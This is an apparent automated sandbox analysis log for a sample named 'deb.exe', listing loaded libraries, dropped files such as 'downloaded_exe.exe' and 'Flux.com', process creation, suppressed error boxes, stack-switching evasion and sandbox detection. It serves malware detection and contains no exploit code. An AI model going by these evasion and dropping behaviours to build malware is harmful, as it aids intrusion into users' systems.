Source: C:\Windows\SysWOW64\svchost.exe	Process created: C:\Windows\System32\fontdrvhost.exe "C:\Windows\System32\fontdrvhost.exe"	Jump to behavior

Source: C:\Users\user\Desktop\deb.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\deb.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: riched20.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: usp10.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: msls31.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: cmdext.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: framedynos.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: napinsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: pnrpnsp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: wshbth.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: nlaapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: winrnr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\choice.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wbemcomn.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior

Source: C:\Users\user\Desktop\deb.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Drops PE files with a suspicious file extension

Source: C:\Windows\SysWOW64\cmd.exe

Process created: C:\Windows\SysWOW64\tasklist.exe tasklist

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: deb.exe

Static PE information: Image base 0x140000000 > 0x60000000

Source: deb.exe

Static file information: File size 2844594 > 1048576

Source: deb.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT

Source:	Binary string: wkernel32.pdb source: svchost.exe, 00000012.00000003.2546257453.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2546001305.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: svchost.exe, 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: svchost.exe, 00000012.00000003.2544333364.0000000005030000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2544063531.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: svchost.exe, 00000012.00000003.2545512120.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2545155192.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: svchost.exe, 00000012.00000003.2544333364.0000000005030000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2544063531.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: svchost.exe, 00000012.00000003.2545512120.0000000004FE0000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2545155192.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: svchost.exe, 00000012.00000003.2546815827.0000000005060000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2546587456.0000000004E40000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: svchost.exe, 00000012.00000003.2546257453.0000000004F60000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 00000012.00000003.2546001305.0000000004E40000.00000004.00000001.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\deb.exe

Code function: 0_2_00007FF702039AB0 GetModuleHandleW,GetProcAddress,GetProcAddress,LoadLibraryW,GetProcAddress,

0_2_00007FF702039AB0

Source: downloaded_exe.exe.0.dr

Static PE information: real checksum: 0x13a887 should be: 0x13ea98

Source: deb.exe	Static PE information: section name: .xdata
Source: deb.exe	Static PE information: section name: /4
Source: deb.exe	Static PE information: section name: /19
Source: deb.exe	Static PE information: section name: /31
Source: deb.exe	Static PE information: section name: /45
Source: deb.exe	Static PE information: section name: /57
Source: deb.exe	Static PE information: section name: /70
Source: deb.exe	Static PE information: section name: /81
Source: deb.exe	Static PE information: section name: /97
Source: deb.exe	Static PE information: section name: /113

Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D588E push eax; iretd	18_3_028D589D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D58BC pushad ; ret	18_3_028D58C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D18C0 push ebp; retf	18_3_028D18C1
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D28ED push ebx; ret	18_3_028D28E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D5606 pushad ; retf	18_3_028D5619
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D6012 push 00000038h; iretd	18_3_028D601D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D225D push eax; ret	18_3_028D225F
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D278B push ebx; ret	18_3_028D28E4
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D5FEE push FFFFFFD2h; retf	18_3_028D6011
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D0FEA push eax; ret	18_3_028D0FF5
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D5F0C push es; iretd	18_3_028D5F0D
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D4920 push 0000002Eh; iretd	18_3_028D4922
Source: C:\Windows\SysWOW64\svchost.exe	Code function: 18_3_028D1179 push FFFFFF82h; iretd	18_3_028D117B

Persistence and Installation Behavior

Source: C:\Windows\SysWOW64\cmd.exe

File created: C:\Users\user\AppData\Local\Temp\542181\Flux.com

Jump to dropped file

Source: C:\Users\user\Desktop\deb.exe	File created: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe			Jump to dropped file
Source: C:\Windows\SysWOW64\cmd.exe	File created: C:\Users\user\AppData\Local\Temp\542181\Flux.com			Jump to dropped file

Source: C:\Users\user\Desktop\deb.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\downloaded_exe.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\tasklist.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	Process information set: NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOALIGNMENTFAULTEXCEPT \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOALIGNMENTFAULTEXCEPT \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Switches to a custom stack to bypass stack traces

Source: C:\Users\user\AppData\Local\Temp\542181\Flux.com	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 7FFDB442D044
Source: C:\Windows\SysWOW64\svchost.exe	API/Special instruction interceptor: Address: 510B83A

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

